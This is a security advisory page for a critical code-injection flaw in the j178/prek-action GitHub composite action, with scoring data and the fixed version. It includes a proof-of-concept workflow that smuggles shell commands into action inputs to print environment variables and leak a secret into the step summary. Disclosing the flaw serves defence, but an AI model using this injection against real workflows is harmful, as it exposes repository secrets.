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Fencer Intel
critical 9.9

GHSA-pwf7-47c3-mfhx json

j178/prek-action vulnerable to arbitrary code injection in composite action

published last yr. modified last yr.

cvss
9.9
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary There are three potential attacks of arbitrary code injection vulnerability in the composite action at _action.yml_.

### Details The GitHub Action variables `inputs.prek-version`, `inputs.extra_args`, and `inputs.extra-args` can be used to execute arbitrary code in the context of the action.

### PoC ```yaml - uses: j178/prek-action@v1.0.5 with: prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2") extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""' env: MY_SECRET: ${{ secrets.MY_SECRET }} ```

The previous example will print all the environment variables, and it will expose `MY_SECRET` environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.

### Impact Critical, CWE-94

Patch / fix

  • github-actions j178/prek-action 1.0.6

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CVSS scores

assigned by version score vector
GitHub 3.1 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
github-actions j178/prek-action
<1.0.6
1.0.6

Classification

Weakness
  • CWE-94 Improper Control of Generation of Code

References

Sources

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